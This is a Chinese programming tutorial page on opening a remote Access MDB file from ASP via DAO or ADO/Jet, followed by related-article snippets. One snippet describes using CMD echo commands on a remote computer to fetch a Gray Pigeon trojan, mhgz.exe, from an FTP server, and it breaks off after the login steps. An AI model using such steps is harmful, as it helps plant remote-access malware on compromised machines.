用asp实现访问远程计算机上MDB access数据库文件的方法
如果你用ODBC连接(DSN方式或其它方式)到远程计算机的MDB文件,这将产生一个错误:
Microsoft OLE DB Provider for ODBC Drivers error '80004005' 大致意思是该文件可能被其他用户访问或无足够的权限访问。
下面有两种方式,避免这个错误:
方式a. 使用DAO引擎访问
Dim File, Conn, RS
Const ReadOnly = False
File = "\\server\share\file.mdb"
Set Conn = CreateObject("DAO.DBEngine.35").Workspaces(0).OpenDatabase(File,,ReadOnly)
Set RS = Conn.OpenRecordset(SQL)
方式b. ADO + Jet OLE DB provider方式
Dim Conn, RS
Set Conn = CreateObject("ADODB.Connection")
Conn.Provider = "Microsoft.Jet.OLEDB.4.0"
Conn.Open "\\server\share\file.mdb"
Set RS = Conn.Execute(SQL)
确定在运行ASP页面时有足够的访问权限以访问远程计算机上的MDB文件,在访问MDB文件前需要先登录到远程计算机,添加下面的代码:
Set UM = CreateObject("UserManager.Server")
UM.LogonUser "帐号", "口令", "域"
...
open database
...
UM.RevertToSelf
相关推荐
-
用asp实现访问远程计算机上MDB access数据库文件的方法
如果你用ODBC连接(DSN方式或其它方式)到远程计算机的MDB文件,这将产生一个错误: Microsoft OLE DB Provider for ODBC Drivers error '80004005' 大致意思是该文件可能被其他用户访问或无足够的权限访问. 下面有两种方式,避免这个错误: 方式a. 使用DAO引擎访问 Dim File, Conn, RS Const ReadOnly = False File = "\\server\share\file.mdb" S
-
用vbs读取远程计算机上的文本文件的代码
问: 您好,脚本专家!如何读取远程计算机上的文本文件? -- BM 答: 您好,BM.我们得承认:我们在利用您和您的问题来达成我们自己的邪恶目的.本周早些时候我们回答了有关如何读取一组文本文件最后一行的问题:在回答中,我们承诺将会说明如何使用 FileSystemObject 对远程计算机执行同样的功能.这并无恶意,只是为了维护本专栏的精神,除非有人提出有关对远程计算机上的文本文件进行处理的问题,我们是不会做出回答的.于是我们选择了您的问题. 因此,没错,我们在利用您.但如果往好处想,您的问题得
-
asp.net实现access数据库分页的方法
asp.net操作access数据库是常见的数据库操作应用,本文就来实例讲解一下asp.net实现access数据库分页的方法.希望对大家的asp.net程序设计能有所帮助. 具体实例代码如下: <divclass="page"id="ctrlRecordPage"> 总<asp:LabelID="Zpage"runat="server"Text="1"></asp:Label
-
ASP.NET 2.0下随机读取Access记录的实现方法
由于使用ADO访问Access数据库会有缓存,这在随机提取数据库数据时,例如:sql="select top 10 Title,objectGuid from Document Order By Rnd(id)",将得不到随机记录,下面的例子可以克服这一缺陷,实现数据库的随机读取. C#: 复制代码 代码如下: <%@ Page Language="C#" %> <!DOCTYPE html PUBLIC "-//W3C//DTD
-
Win2003 64位下ASP无法连接Access数据库的解决方法
ADODB.Connection 错误 '800a0e7a' 未找到提供程序.该程序可能未正确安装. /连接"网站内容管理"数据库.asp,行 2 原因:IIS是以64位方式来运行的,它只能加载64位模块,不能加载32位模块.而访问access数据库的jet引擎只有32位的,没有64位,因此无法被IIS加载. 解决思路:让IIS以32位方式运行,从而可以调用32位的jet引擎 解决方法:在命令行窗口输入 复制代码 代码如下: cscript C:\inetpub\adminscript
-
ASP.NET 连接ACCESS数据库的简单方法
index.aspx 复制代码 代码如下: <%@ Page Language="C#" %><%@ import Namespace="System.Data" %><%@ import Namespace="System.Data.OleDb" %><script runat="server"> // Insert page code here // voi
-
PHP中防止直接访问或查看或下载config.php文件的方法
或是,PHP的设计本身就避免直接查看文件内容的情况? 从安全角度考虑,这个系统级的文件应该做什么保护措施? 网友完善的答案 经调研,得出以下常用方法: 1 在程序中定义一个标识变量 复制代码 代码如下: define('IN_SYS', TRUE); 2 在config.php中获取这变量 复制代码 代码如下: if(!defined('IN_SYS')) { exit('禁止访问'); }
-
asp下用fso和ado.stream写xml文件的方法
asp按关键字查询XML的问题 '------------------------------------------------------ '读取文件 ReadTxtFile(FileName) '------------------------------------------------------ Function ReadTxtFile(FileName) Dim fso,f1,ts,FilePath FilePath=server.mappath(FileName) Set fs
-
at计划在指定时间和日期在计算机上运行命令和程序
at计划在指定时间和日期在计算机上运行命令和程序.at 命令只能在"计划"服务运行时使用.如果在没有参数的情况下使用,则 at 列出已计划的命令. 语法 at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}] at [[\\ComputerName] hours:minutes [/interactive] [{/every:date[,...]|/next:date[,...]}] command] 参数 \\computernam
-
在远程计算机的CMD内下载FTP文件的方法
在远程计算机的CMD环境下,如果不能通过IPC$渠道传送文件,那就只有通过FTP下载文件了. 假设我们已经有一个FTP服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道FTP服务器的三个参数: 1.FTP服务器的IP地址:如1.1.1.1 2.FTP服务器的用户名:如test 3.FTP服务器的密 码:如test123 在远程计算机的CMD下依次输入下面的命令: 1.echo open 1.1.1.1>>test.txt 登陆FTP服务器 2.echo test>
随机推荐
- PHP笔记之:基于面向对象设计的详解
- 如何手写Ajax实现异步刷新
- JS中类或对象的定义说明
- Java中父类Object的常用方法总结
- asp.net TextBox控件设置ReadOnly后,不能回传。
- 用js遍历 table的脚本
- JS实现的新浪微博大厅文字内容滚动效果代码
- 比较2个datatable内容是否相同的方法
- php 判断访客是否为搜索引擎蜘蛛的函数代码
- 基于cookie实现zTree树刷新后展开状态不变
- 用javascript实现旋转图片效果的代码
- 浅谈Jave枚举的作用与好处
- linux查看系统编码和修改系统编码的方法
- php中全局变量global的使用演示代码
- python 排序算法总结及实例详解
- c# DateTime常用操作实例(datetime计算时间差)
- C#实现打印与打印预览功能的思路及代码
- Android SDK中的Support兼容包详解
- Angular实现模版驱动表单的自定义校验功能(密码确认为例)
- JavaScript实现的3D旋转魔方动画效果实例代码